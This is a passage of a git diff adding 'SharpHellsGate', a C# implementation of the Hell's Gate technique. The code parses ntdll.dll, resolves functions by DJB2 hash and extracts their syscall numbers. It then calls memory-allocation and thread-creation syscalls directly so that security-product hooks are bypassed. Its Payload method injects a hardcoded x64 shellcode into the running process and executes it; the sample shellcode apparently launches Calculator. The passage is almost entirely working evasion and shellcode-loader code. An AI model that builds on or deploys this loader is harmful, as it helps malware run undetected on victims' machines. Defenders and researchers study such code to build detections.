specified region of pages. + /// A bitmask containing page protection flags that specify the protection desired for the committed region of pages. + /// NtAllocateVirtualMemory returns either STATUS_SUCCESS or an error status code. + private UInt32 NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, UInt32 AllocationType, UInt32 Protect) { + lock (this.Mutant) { + Int16 syscall = this.APITable[Util.NtAllocateVirtualMemoryHash].Syscall; + if (syscall == 0x0000) + return Macros.STATUS_UNSUCCESSFUL; + + DFunctions.NtAllocateVirtualMemory Func = NtInvocation(syscall); + return Func(ProcessHandle, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect); + } + } + + /// + /// Managed wrapper around the NtProtectVirtualMemory native Windows function. + /// + /// Handle to Process Object opened with PROCESS_VM_OPERATION access. + /// Pointer to base address to protect. Protection will change on all page containing specified address. On output, BaseAddress will point to page start address. + /// Pointer to size of region to protect. On output will be round to page size (4KB). + /// One or some of PAGE_... attributes. + /// Receive previous protection. + /// NtProtectVirtualMemory returns either STATUS_SUCCESS or an error status code. + private UInt32 NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr NumberOfBytesToProtect, UInt32 NewAccessProtection, ref UInt32 OldAccessProtection) { + lock (this.Mutant) { + Int16 syscall = this.APITable[Util.NtProtectVirtualMemoryHash].Syscall; + if (syscall == 0x0000) + return Macros.STATUS_UNSUCCESSFUL; + + DFunctions.NtProtectVirtualMemory Func = NtInvocation(syscall); + return Func(ProcessHandle, ref BaseAddress, ref NumberOfBytesToProtect, NewAccessProtection, out OldAccessProtection); + } + } + + /// + /// Managed wrapper around the NtCreateThreadEx native Windows function. + /// + /// Caller supplied storage for the resulting handle. + /// Specifies the allowed or desired access to the thread. + /// Initialized attributes for the object. + /// Handle to the threads parent process. + /// Address of the function to execute. + /// Parameters to pass to the function. + /// Whether the thread will be in suspended mode and has to be resumed later. + /// + /// Initial stack memory to commit. + /// Initial stack memory to reserve. + /// + /// NtCreateThreadEx returns either STATUS_SUCCESS or an error status code. + private UInt32 NtCreateThreadEx(ref IntPtr hThread, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, bool CreateSuspended, uint StackZeroBits, uint SizeOfStackCommit, uint SizeOfStackReserve, IntPtr lpBytesBuffer) { + lock (this.Mutant) { + Int16 syscall = this.APITable[Util.NtCreateThreadExHash].Syscall; + if (syscall == 0x0000) + return Macros.STATUS_UNSUCCESSFUL; + + DFunctions.NtCreateThreadEx Func = NtInvocation(syscall); + return Func(ref hThread, DesiredAccess, ObjectAttributes, ProcessHandle, lpStartAddress, lpParameter, CreateSuspended, StackZeroBits, SizeOfStackCommit, SizeOfStackReserve, lpBytesBuffer); + } + } + + /// + /// Managed wrapper around the NtWaitForSingleObject native Windows function. + /// + /// Open handle to a alertable executive object. + /// If set, calling thread is signaled, so all queued APC routines are executed. + /// Time-out interval, in microseconds. NULL means infinite. + /// NtWaitForSingleObject returns either STATUS_SUCCESS or an error status code. + private UInt32 NtWaitForSingleObject(IntPtr ObjectHandle, bool Alertable, ref Structures.LARGE_INTEGER TimeOuts) { + lock (this.Mutant) { + Int16 syscall = this.APITable[Util.NtWaitForSingleObjectHash].Syscall; + if (syscall == 0x0000) + return Macros.STATUS_UNSUCCESSFUL; + + DFunctions.NtWaitForSingleObject Func = NtInvocation(syscall); + return Func(ObjectHandle, Alertable, ref TimeOuts); + } + } + + /// + /// .ctor + /// + /// The API table that will be used by the multiple function wrapers. + public HellsGate(Dictionary Table) { + this.APITable = Table; + } + + /// + /// JIT a static method to generate RWX memory segment. + /// + /// Whether the memory segment was successfully generated. + public bool GenerateRWXMemorySegment() { + // Find and JIT the method + MethodInfo method = typeof(HellsGate).GetMethod(nameof(Gate), BindingFlags.Static | BindingFlags.NonPublic); + if (method == null) { + Util.LogError("Unable to find the method"); + return false; + } + RuntimeHelpers.PrepareMethod(method.MethodHandle); + + // Get the address of the function and check if first opcode == JMP + IntPtr pMethod = method.MethodHandle.GetFunctionPointer(); + if (Marshal.ReadByte(pMethod) != 0xe9) { + Util.LogError("Method was not JIT'ed or invalid stub"); + return false; + } + Util.LogInfo($"Managed method address: 0x{pMethod:x16}"); + + // Get address of jited method and stack alignment + Int32 offset = Marshal.ReadInt32(pMethod, 1); + UInt64 addr = (UInt64)pMethod + (UInt64)offset; + while (addr % 16 != 0) + addr++; + Util.LogInfo($"Unmanaged method address: 0x{addr:x16}\n"); + + this.MangedMethodAddress = method.MethodHandle.GetFunctionPointer(); + this.UnmanagedMethodAddress = (IntPtr)addr; + this.IsGateReady = true; + return true; + } + + /// + /// Payload example. In this case this is a basic shellcode self-injection. + /// + public void Payload() { + if (!this.IsGateReady) { + if (!this.GenerateRWXMemorySegment()) { + Util.LogError("Unable to generate RX memory segment"); + return; + } + } + + byte[] shellcode = new byte[273] { + 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, + 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, + 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, + 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, + 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, + 0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, + 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48, + 0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0, + 0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c, + 0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, + 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04, + 0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, + 0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48, + 0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f, + 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, + 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb, + 0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c, + 0x63,0x00,0xc3 + }; + Util.LogInfo($"Shellcode size: {shellcode.Length} bytes"); + + // Allocate Memory + IntPtr pBaseAddres = IntPtr.Zero; + IntPtr Region = (IntPtr)shellcode.Length; + UInt32 ntstatus = NtAllocateVirtualMemory(Macros.GetCurrentProcess(), ref pBaseAddres, IntPtr.Zero, ref Region, Macros.MEM_COMMIT | Macros.MEM_RESERVE, Macros.PAGE_READWRITE); + if (!Macros.NT_SUCCESS(ntstatus)) { + Util.LogError($"Error ntdll!NtAllocateVirtualMemory (0x{ntstatus:0x8})"); + return; + } + Util.LogInfo($"Page address: 0x{pBaseAddres:x16}"); + + // Copy Memory + Marshal.Copy(shellcode, 0, pBaseAddres, shellcode.Length); + Array.Clear(shellcode, 0, shellcode.Length); + + // Change memory protection + UInt32 OldAccessProtection = 0; + ntstatus = NtProtectVirtualMemory(Macros.GetCurrentProcess(), ref pBaseAddres, ref Region, Macros.PAGE_EXECUTE_READ, ref OldAccessProtection); + if (!Macros.NT_SUCCESS(ntstatus) || OldAccessProtection != 0x0004) { + Util.LogError($"Error ntdll!NtProtectVirtualMemory (0x{ntstatus:0x8})"); + return; + } + + IntPtr hThread = IntPtr.Zero; + ntstatus = NtCreateThreadEx(ref hThread, 0x1FFFFF, IntPtr.Zero, Macros.GetCurrentProcess(), pBaseAddres, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); + if (!Macros.NT_SUCCESS(ntstatus) || hThread == IntPtr.Zero) { + Util.LogError($"Error ntdll!NtCreateThreadEx (0x{ntstatus:0x8})"); + return; + } + Util.LogInfo($"Thread handle: 0x{hThread:x16}\n"); + + // Wait for one second + Structures.LARGE_INTEGER TimeOut = new Structures.LARGE_INTEGER(); + TimeOut.QuadPart = -10000000; + ntstatus = NtWaitForSingleObject(hThread, false, ref TimeOut); + if (ntstatus != 0x00) { + Util.LogError($"Error ntdll!NtWaitForSingleObject (0x{ntstatus:0x8})"); + return; + } + } + } +} diff --git a/Hells Gate/C# Implementation/SharpHellsGate/Module/MemoryUtil.cs b/Hells Gate/C# Implementation/SharpHellsGate/Module/MemoryUtil.cs new file mode 100644 index 0000000..18d24e6 --- /dev/null +++ b/Hells Gate/C# Implementation/SharpHellsGate/Module/MemoryUtil.cs @@ -0,0 +1,142 @@ +using System; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; + +namespace SharpHellsGate.Module { + /// + /// Used to manipulate and extract information from a memory stream. + /// In this case the memory stream is the NTDLL module. + /// + public class MemoryUtil : IDisposable { + + /// + /// The memory stream representation of the NTDLL module. + /// + protected Stream ModuleStream { get; set; } + + /// + /// Dispose the memory stream when no longer needed. + /// + ~MemoryUtil() => Dispose(); + + /// + /// Dispose the memory stream when no longer needed. + /// + public void Dispose() { + this.ModuleStream.Dispose(); + this.ModuleStream.Close(); + GC.SuppressFinalize(this); + } + + /// + /// Extract a structure from the memory stream. + /// + /// The Type of the structure to extract. + /// The offset in the memory stream where the structure is located. + /// The structure populated or the default structure. + protected T GetStructureFromBlob(Int64 offset) where T : struct { + Span bytes = this.GetStructureBytesFromOffset(offset); + if (Marshal.SizeOf() != bytes.Length) + return default; + + IntPtr ptr = Marshal.AllocHGlobal(Marshal.SizeOf()); + Marshal.Copy(bytes.ToArray(), 0, ptr, bytes.Length); + T s = Marshal.PtrToStructure(ptr); + + Marshal.FreeHGlobal(ptr); + return s; + } + + /// + /// Extract the code from a native Windows function. + /// + /// The location of the function in the memory stream. + /// The 24 bytes representing the code of the function. + protected Span GetFunctionOpCode(Int64 offset) { + Span s = stackalloc byte[24]; + this.ModuleStream.Seek(offset, SeekOrigin.Begin); + this.ModuleStream.Read(s); + return s.ToArray(); + } + + /// + /// Extract a DWORD value from the memory stream. + /// + /// The location of the DWORD in the memory stream. + /// The value of the DWORD. + protected UInt32 ReadPtr32(Int64 offset) { + Span s = stackalloc byte[4]; + this.ModuleStream.Seek(offset, SeekOrigin.Begin); + this.ModuleStream.Read(s); + return BitConverter.ToUInt32(s); + } + + /// + /// Extract a QWORD value from the memory stream. + /// + /// The location of the QWORD in the memory stream. + /// The value of the QWORD. + protected UInt64 ReadPtr64(Int64 offset) { + Span s = stackalloc byte[8]; + this.ModuleStream.Seek(offset, SeekOrigin.Begin); + this.ModuleStream.Read(s); + return BitConverter.ToUInt64(s); + } + + /// + /// Extract a WORD value from the memory stream. + /// + /// The location of the WORD in the memory stream. + /// The value of the WORD. + protected UInt16 ReadUShort(Int64 offset) { + Span s = stackalloc byte[2]; + this.ModuleStream.Seek(offset, SeekOrigin.Begin); + this.ModuleStream.Read(s); + return BitConverter.ToUInt16(s); + } + + /// + /// Extract an ASCII string from the memory stream. + /// + /// The location of the ASCII string in the memory stream. + /// The ASCII string. + protected string ReadAscii(Int64 offset) { + int length = 0; + this.ModuleStream.Seek(offset, SeekOrigin.Begin); + while (this.ModuleStream.ReadByte() != 0x00) + length++; + + Span s = length <= 1024 ? stackalloc byte[length] : new byte[length]; + this.ModuleStream.Seek(offset, SeekOrigin.Begin); + this.ModuleStream.Read(s); + return Encoding.ASCII.GetString(s); + } + + /// + /// Extract the byte representation of a structure from the memory stream. + /// + /// The Type of the structure to extract from the memory stream. + /// The location of the structure in the memory stream. + /// The structure as byte span. + protected Span GetStructureBytesFromOffset(Int64 offset) where T : struct { + Span s = stackalloc byte[Marshal.SizeOf()]; + this.ModuleStream.Seek(offset, SeekOrigin.Begin); + this.ModuleStream.Read(s); + return s.ToArray(); + } + + /// + /// Get a specific amount of bytes at a specific location in the memory stream. + /// + /// The location of the bytes to extract from the memory stream. + /// The number of bytes to extract from the memory stream at a give location. + /// The desired bytes as a byte span. + protected Span GetBytesFromOffset(Int64 offset, int size) { + Span s = size >= 1024 ? new byte[size] : stackalloc byte[size]; + this.ModuleStream.Seek(offset, SeekOrigin.Begin); + this.ModuleStream.Read(s); + return s.ToArray(); + } + } +} diff --git a/Hells Gate/C# Implementation/SharpHellsGate/Module/SystemModule.cs b/Hells Gate/C# Implementation/SharpHellsGate/Module/SystemModule.cs new file mode 100644 index 0000000..4ed3d7d --- /dev/null +++ b/Hells Gate/C# Implementation/SharpHellsGate/Module/SystemModule.cs @@ -0,0 +1,328 @@ +using System; +using System.IO; +using SharpHellsGate.Win32; +using System.Collections.Generic; +using System.Runtime.InteropServices; +using System.Linq; + +namespace SharpHellsGate.Module { + + /// + /// Wrapper around the NTDLL module. + /// Used to extract structures and find system calls. + /// + public class SystemModule : MemoryUtil { + + /// + /// IMAGE_DOS_HEADER structure of the NTDLL module. + /// + public Structures.IMAGE_DOS_HEADER ModuleDOSHeader { get; private set; } + + /// + /// IMAGE_NT_HEADERS64 structure of the NTDLL module. + /// + public Structures.IMAGE_NT_HEADERS64 ModuleNTHeaders { get; private set; } + + /// + /// IMAGE_SECTION_HEADER structure from the NTDLL module. + /// + public List ModuleSectionHeaders { get; private set; } + + /// + /// IMAGE_EXPORT_DIRECTORY structure from the NTDLL module. + /// + public Structures.IMAGE_EXPORT_DIRECTORY ModuleExportDirectory { get; private set; } + + /// + /// Location in the memory stream of the IMAGE_EXPORT_DIRECTORY structure. + /// + public Int64 ModuleExportDirectoryOffset { get; private set; } + + /// + /// Location in the memory stream of the exported functions' name. + /// + public Int64 ModuleExportDirectoryAddressNamesOffset { get; private set; } + + /// + /// Location in the memory stream of the exported functions' address. + /// + public Int64 ModuleExportDirectoryAddressFunctionsOffset { get; private set; } + + /// + /// Location in the memory stream of the exported functions' ordinal. + /// + public Int64 ModuleExportDirectoryAddressNameOrdinalesOffset { get; private set; } + + /// + /// Name of the module. Will be NTDLL. + /// + public string ModuleName { get; private set; } + + /// + /// Path of the module. Will be %WINDIR%\System32\ntdll.dll + /// + public string ModulePath { get; private set; } + + /// + /// .ctor + /// + /// Name of the module + public SystemModule(string name) : base() { + this.ModuleName = name; + this.ModulePath = $"{Environment.SystemDirectory}\\{name}"; + this.ModuleSectionHeaders = new List() { }; + + this.LoadModule(); + } + + /// + /// Load the module into a memory stream. + /// + /// Whether the loading process was a success. + public bool LoadModule() { + if (string.IsNullOrEmpty(this.ModuleName)) { + Util.LogError("Module name not provided"); + return false; + } + + if (!File.Exists(this.ModulePath)) { + Util.LogError($"Unable to find module: {this.ModuleName}"); + return false; + } + + ReadOnlySpan ModuleBlob = File.ReadAllBytes(this.ModulePath); + if (ModuleBlob.Length == 0x00) { + Util.LogError($"Empty module content: {this.ModuleName}"); + return false; + } + + base.ModuleStream = new MemoryStream(ModuleBlob.ToArray()); + return true; + } + + /// + /// Reload all structures. + /// + /// Whether all structures were successfully reloaded. + public bool LoadAllStructures() { + if (this.GetModuleDOSHeader(true).Equals(default(Structures.IMAGE_DOS_HEADER))) + return false; + + if (this.GetModuleNTHeaders(true).Equals(default(Structures.IMAGE_NT_HEADERS64))) + return false; + + if (this.GetModuleSectionHeaders(true).Count != this.ModuleNTHeaders.FileHeader.NumberOfSections) + return false; + + if (this.GetModuleExportDirectory(true).Equals(default(Structures.IMAGE_EXPORT_DIRECTORY))) + return false; + + return true; + } + + /// + /// Get the _IMAGE_DOS_HEADERstructure from the module. + /// + /// Whether the data has to re-processed if not already cached. + /// The IMAGE_NT_HEADERS64 structure of the module. + public Structures.IMAGE_DOS_HEADER GetModuleDOSHeader(bool ReloadCache = false) { + if (!this.ModuleDOSHeader.Equals(default(Structures.IMAGE_DOS_HEADER)) && !ReloadCache) + return this.ModuleDOSHeader; + + if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) { + Util.LogError("Module not loaded"); + return default; + } + + this.ModuleDOSHeader = base.GetStructureFromBlob(0); + if (this.ModuleDOSHeader.e_magic != Macros.IMAGE_DOS_SIGNATURE) { + Util.LogError("Invalid DOS header signature"); + return default; + } + + return this.ModuleDOSHeader; + } + + /// + /// Get the IMAGE_NT_HEADERS64 structure from the module. + /// + /// Whether the data has to re-processed if not already cached. + /// The IMAGE_NT_HEADERS64 structure of the module. + public Structures.IMAGE_NT_HEADERS64 GetModuleNTHeaders(bool ReloadCache = false) { + if (!this.ModuleNTHeaders.Equals(default(Structures.IMAGE_NT_HEADERS64)) && !ReloadCache) + return this.ModuleNTHeaders; + + if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) { + Util.LogError("Module not loaded"); + return default; + } + + if (this.ModuleDOSHeader.Equals(default(Structures.IMAGE_DOS_HEADER))) + this.GetModuleDOSHeader(); + + this.ModuleNTHeaders = base.GetStructureFromBlob(this.ModuleDOSHeader.e_lfanew); + if (this.ModuleNTHeaders.Signature != Macros.IMAGE_NT_SIGNATURE) { + Util.LogError("Invalid NT headers signature"); + return default; + } + + return this.ModuleNTHeaders; + } + + /// + /// Get list of _IMAGE_SECTION_HEADER structures from the module. + /// + /// Whether the data has to re-processed if not already cached. + /// The list of _IMAGE_SECTION_HEADER structures. + public List GetModuleSectionHeaders(bool ReloadCache = false) { + if (this.ModuleSectionHeaders.Count == this.ModuleNTHeaders.FileHeader.NumberOfSections && !ReloadCache) + return this.ModuleSectionHeaders; + + if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) { + Util.LogError("Module not loaded"); + return default; + } + + if (this.ModuleNTHeaders.Equals(default(Structures.IMAGE_NT_HEADERS64)) || this.ModuleNTHeaders.FileHeader.Equals(default(Structures.IMAGE_FILE_HEADER))) + this.GetModuleNTHeaders(); + + for (Int16 cx = 0; cx < this.ModuleNTHeaders.FileHeader.NumberOfSections; cx++) { + Int64 iSectionOffset = this.GetModuleSectionOffset(cx); + + Structures.IMAGE_SECTION_HEADER ImageSection = base.GetStructureFromBlob(iSectionOffset); + if (!ImageSection.Equals(default(Structures.IMAGE_SECTION_HEADER))) + this.ModuleSectionHeaders.Add(ImageSection); + } + + return this.ModuleSectionHeaders; + } + + /// + /// Get a _IMAGE_SECTION_HEADER structure by name. + /// + /// The name of the section. + /// The _IMAGE_SECTION_HEADER structure if exists. + public Structures.IMAGE_SECTION_HEADER GetModuleSectionHeaderByName(string name) { + if (name.Length > 8) { + Util.LogError("Invalid section name"); + return default; + } + + if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) { + Util.LogError("Module not loaded"); + return default; + } + + if (this.ModuleSectionHeaders.Count == 0x00) + this.GetModuleSectionHeaders(); + + return this.ModuleSectionHeaders.Where(x => x.Name.Equals(name, StringComparison.OrdinalIgnoreCase)).FirstOrDefault(); + } + + /// + /// Get the Export Address Table (aka EAT) from the module. + /// + /// Whether the data has to re-processed if not already cached. + /// the _IMAGE_EXPORT_DIRECTORY structure + public Structures.IMAGE_EXPORT_DIRECTORY GetModuleExportDirectory(bool ReloadCache = false) { + if (!this.ModuleExportDirectory.Equals(default(Structures.IMAGE_EXPORT_DIRECTORY)) && !ReloadCache) + return this.ModuleExportDirectory; + + if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) { + Util.LogError("Module not loaded"); + return default; + } + + if (this.ModuleNTHeaders.Equals(default(Structures.IMAGE_NT_HEADERS64))) + this.GetModuleNTHeaders(); + + if (this.ModuleSectionHeaders.Count == 0x00) + this.GetModuleSectionHeaders(); + + this.ModuleExportDirectoryOffset = this.ConvertRvaToOffset(this.ModuleNTHeaders.OptionalHeader.DataDirectory[0].VirtualAddress); + this.ModuleExportDirectory = base.GetStructureFromBlob(this.ModuleExportDirectoryOffset); + if (this.ModuleExportDirectory.Equals(default(Structures.IMAGE_EXPORT_DIRECTORY))) { + Util.LogError("Invalid export address table (EAT)."); + return default; + } + + // Parse all functions + this.ModuleExportDirectoryAddressNamesOffset = this.ConvertRvaToOffset(this.ModuleExportDirectory.AddressOfNames); + this.ModuleExportDirectoryAddressFunctionsOffset = this.ConvertRvaToOffset(this.ModuleExportDirectory.AddressOfFunctions); + this.ModuleExportDirectoryAddressNameOrdinalesOffset = this.ConvertRvaToOffset(this.ModuleExportDirectory.AddressOfNameOrdinals); + return this.ModuleExportDirectory; + } + + /// + /// Get the address, name, system call for a given function hash. + /// + /// DJB2 function hash. + /// + public Util.APITableEntry GetAPITableEntry(UInt64 FunctionHash) { + if (this.ModuleExportDirectoryAddressNamesOffset == 0x00 || this.ModuleExportDirectoryAddressFunctionsOffset == 0x00|| this.ModuleExportDirectoryAddressNameOrdinalesOffset == 0x00) + this.GetModuleExportDirectory(); + + if (!base.ModuleStream.CanRead || base.ModuleStream.Length == 0x00) { + Util.LogError("Module not loaded"); + return default; + } + + Util.APITableEntry Entry = new Util.APITableEntry { + Hash = FunctionHash + }; + + for (Int32 cx = 0; cx < this.ModuleExportDirectory.NumberOfNames; cx++) { + UInt32 PtrFunctionName = base.ReadPtr32(this.ModuleExportDirectoryAddressNamesOffset + (sizeof(uint) * cx)); + string FunctionName = base.ReadAscii(this.ConvertRvaToOffset(PtrFunctionName)); + + if (FunctionHash == Util.GetFunctionDJB2Hash(FunctionName)) { + UInt32 PtrFunctionAdddress = base.ReadPtr32(this.ModuleExportDirectoryAddressFunctionsOffset + (sizeof(uint) * (cx + 1))); + Span opcode = base.GetFunctionOpCode(this.ConvertRvaToOffset(PtrFunctionAdddress)); + + if (opcode[3] == 0xb8 && opcode[18] == 0x0f && opcode[19] == 0x05) { + Entry.Name = FunctionName; + Entry.Address = PtrFunctionAdddress; + Entry.Syscall = (Int16)(((byte)opcode[5] << 4) | (byte)opcode[4]); + return Entry; + } + } + } + + return default; + } + + /// + /// Get the offset of a _IMAGE_SECTION_HEADER structure. + /// + /// The section to get. + /// The _IMAGE_SECTION_HEADER structure. + private Int64 GetModuleSectionOffset(Int16 cx) + => this.ModuleDOSHeader.e_lfanew + + Marshal.SizeOf() + + this.ModuleNTHeaders.FileHeader.SizeOfOptionalHeader + + sizeof(Int32) // sizeof(DWORD) + + (Marshal.SizeOf() * cx); + + /// + /// Convert a relative virtual address (RVA) into an offset. + /// + /// The RVA to convert into an offset in the iamge. + /// The section in which the relative virtual address (RVA) points to. + /// The offset. + private Int64 ConvertRvaToOffset(Int64 rva, Structures.IMAGE_SECTION_HEADER SectionHeader) => rva - SectionHeader.VirtualAddress + SectionHeader.PointerToRawData; + + /// + /// Convert a relative virtual address (RVA) into an offset. + /// + /// The RVA to convert into an offset in the iamge. + /// The offset. + private Int64 ConvertRvaToOffset(Int64 rva) => this.ConvertRvaToOffset(rva, GetSectionByRVA(rva)); + + /// + /// Get which image section is which a relative virtual address (RVA) points to. + /// + /// The RVA + /// The _IMAGE_SECTION_HEADER structure + private Structures.IMAGE_SECTION_HEADER GetSectionByRVA(Int64 rva) => this.ModuleSectionHeaders.Where(x => rva > x.VirtualAddress && rva <= x.VirtualAddress + x.SizeOfRawData).First(); + } +} diff --git a/Hells Gate/C# Implementation/SharpHellsGate/Program.cs b/Hells Gate/C# Implementation/SharpHellsGate/Program.cs new file mode 100644 index 0000000..b11f691 --- /dev/null +++ b/Hells Gate/C# Implementation/SharpHellsGate/Program.cs @@ -0,0 +1,51 @@ +using System; +using System.Collections.Generic; +using SharpHellsGate.Module; + +namespace SharpHellsGate { + + /// + /// Main class. + /// + public class Program { + + /// + /// Entry point of the program. + /// + /// Command line arguments. + static void Main(string[] args) { + Util.LogInfo("Copyright (C) 2020 Paul Laine (@am0nsec)"); + Util.LogInfo("C# Implementation of the Hell's Gate VX Technique"); + Util.LogInfo(" --------------------------------------------------\n", 0, ""); + + // Only works for x86 + if (IntPtr.Size != 8) { + Util.LogError("Project only tested in x64 context.\n"); + return; + } + + // Load the module and get everything ready + SystemModule ntdll = new SystemModule("ntdll.dll"); + ntdll.LoadAllStructures(); + + // Resolve all the system calls + Dictionary APITable = new Dictionary() { + { Util.NtAllocateVirtualMemoryHash, ntdll.GetAPITableEntry(Util.NtAllocateVirtualMemoryHash) }, + { Util.NtProtectVirtualMemoryHash, ntdll.GetAPITableEntry(Util.NtProtectVirtualMemoryHash) }, + { Util.NtCreateThreadExHash, ntdll.GetAPITableEntry(Util.NtCreateThreadExHash) }, + { Util.NtWaitForSingleObjectHash, ntdll.GetAPITableEntry(Util.NtWaitForSingleObjectHash) } + }; + ntdll.Dispose(); + + Util.LogInfo($"NtAllocateVirtualMemory: 0x{APITable[Util.NtAllocateVirtualMemoryHash].Syscall:x4}"); + Util.LogInfo($"NtProtectVirtualMemory: 0x{APITable[Util.NtProtectVirtualMemoryHash].Syscall:x4}"); + Util.LogInfo($"NtWaitForSingleObject: 0x{APITable[Util.NtWaitForSingleObjectHash].Syscall:x4}"); + Util.LogInfo($"NtCreateThreadEx: 0x{APITable[Util.NtCreateThreadExHash].Syscall:x4}\n"); + + HellsGate gate = new HellsGate(APITable); + gate.GenerateRWXMemorySegment(); + gate.Payload(); + return; + } + } +} diff --git a/Hells Gate/C# Implementation/SharpHellsGate/SharpHellsGate.csproj b/Hells Gate/C# Implementation/SharpHellsGate/SharpHellsGate.csproj new file mode 100644 index 0000000..2a7c207 --- /dev/null +++ b/Hells Gate/C# Implementation/SharpHellsGate/SharpHellsGate.csproj @@ -0,0 +1,18 @@ + + + + Exe + net5.0 + + + + true + x64 + + + + true + x64 + + + diff --git a/Hells Gate/C# Implementation/SharpHellsGate/Util.cs b/Hells Gate/C# Implementation/SharpHellsGate/Util.cs new file mode 100644 index 0000000..42a645e --- /dev/null +++ b/Hells Gate/C# Implementation/SharpHellsGate/Util.cs @@ -0,0 +1,128 @@ +using System; +using System.Diagnostics; + +namespace SharpHellsGate { + + /// + /// Util class. Used mainly for debug output. + /// + public class Util { + + /// + /// Structure used to store the name, address, system call and hash of a native Windows function. + /// + public struct APITableEntry { + public string Name; + public Int64 Address; + public Int16 Syscall; + public UInt64 Hash; + } + + /// + /// DJB2 Hash of the NtAllocateVirtualMemory function name. + /// + public static UInt64 NtAllocateVirtualMemoryHash { get; } = 0xf5bd373480a6b89b; + + /// + /// DJB2 Hash of the NtProtectVirtualMemory function name. + /// + public static UInt64 NtProtectVirtualMemoryHash { get; } = 0x858bcb1046fb6a37; + + /// + /// DJB2 Hash of the NtCreateThreadEx function name. + /// + public static UInt64 NtCreateThreadExHash { get; } = 0x64dc7db288c5015f; + + /// + /// DJB2 Hash of the NtWaitForSingleObject function name. + /// + public static UInt64 NtWaitForSingleObjectHash { get; } = 0xc6a2fa174e551bcb; + + + /// + /// Log an informational information. + /// + /// Message to log. + /// Indentation level. + /// Message prefix. + public static void LogInfo(string msg, int indent = 0, string prefix = "[>]") { +#if DEBUG + if (string.IsNullOrEmpty(msg)) + return; + + LogMessage(msg, prefix, indent, ConsoleColor.Blue); +#endif + } + + /// + /// Log an error information. + /// + /// Message to log. + /// Indentation level. + /// Message prefix. + public static void LogError(string msg, int indent = 0, string prefix = "[-]") { +#if DEBUG + if (string.IsNullOrEmpty(msg)) + return; + + LogMessage(msg, prefix, indent, ConsoleColor.Red); +#endif + } + + /// + /// Log a success information. + /// + /// Message to log. + /// Indentation level. + /// Message prefix + public static void LogSuccess(string msg, int indent = 0, string prefix = "[+]") { +#if DEBUG + if (string.IsNullOrEmpty(msg)) + return; + + LogMessage(msg, prefix, indent, ConsoleColor.Green); +#endif + } + + /// + /// Log a string to the console and to the debugger. + /// + /// Message to log. + /// Indentation level. + /// Message prefix. + /// The color of the prifix on the console. + private static void LogMessage(string msg, string prefix, int indent, ConsoleColor color) { + // Indent + Console.Write(new String(' ', indent)); + Trace.Write(new String(' ', indent)); + + // Color and prefix + Trace.Write(prefix); + Console.ForegroundColor = color; + Console.Write(prefix); + Console.ResetColor(); + + // Message + Console.WriteLine($" {msg}"); + Trace.WriteLine($" {msg}"); + } + + + /// + /// Revisited DJB2 algorithm. + /// + /// The ASCII name of a function. + /// The djb2 hash of the function name. + public static UInt64 GetFunctionDJB2Hash(string FunctionName) { + if (string.IsNullOrEmpty(FunctionName)) + return 0; + + UInt64 hash = 0x7734773477347734; + foreach (char c in FunctionName) + hash = ((hash << 0x5) + hash) + (byte)c; + + return hash; + } + + } +} diff --git a/Hells Gate/C# Implementation/SharpHellsGate/Win32/DFunctions.cs b/Hells Gate/C# Implementation/SharpHellsGate/Win32/DFunctions.cs new file mode 100644 index 0000000..4bb9f34 --- /dev/null +++ b/Hells Gate/C# Implementation/SharpHellsGate/Win32/DFunctions.cs @@ -0,0 +1,93 @@ +using System; +using System.Runtime.InteropServices; + +namespace SharpHellsGate.Win32 { + + /// + /// Contains all the delegates used to execute the system calls. + /// + public class DFunctions { + + /// + /// Managed wrapper around the NtAllocateVirtualMemory native Windows function + /// + /// A handle for the process for which the mapping should be done. + /// A 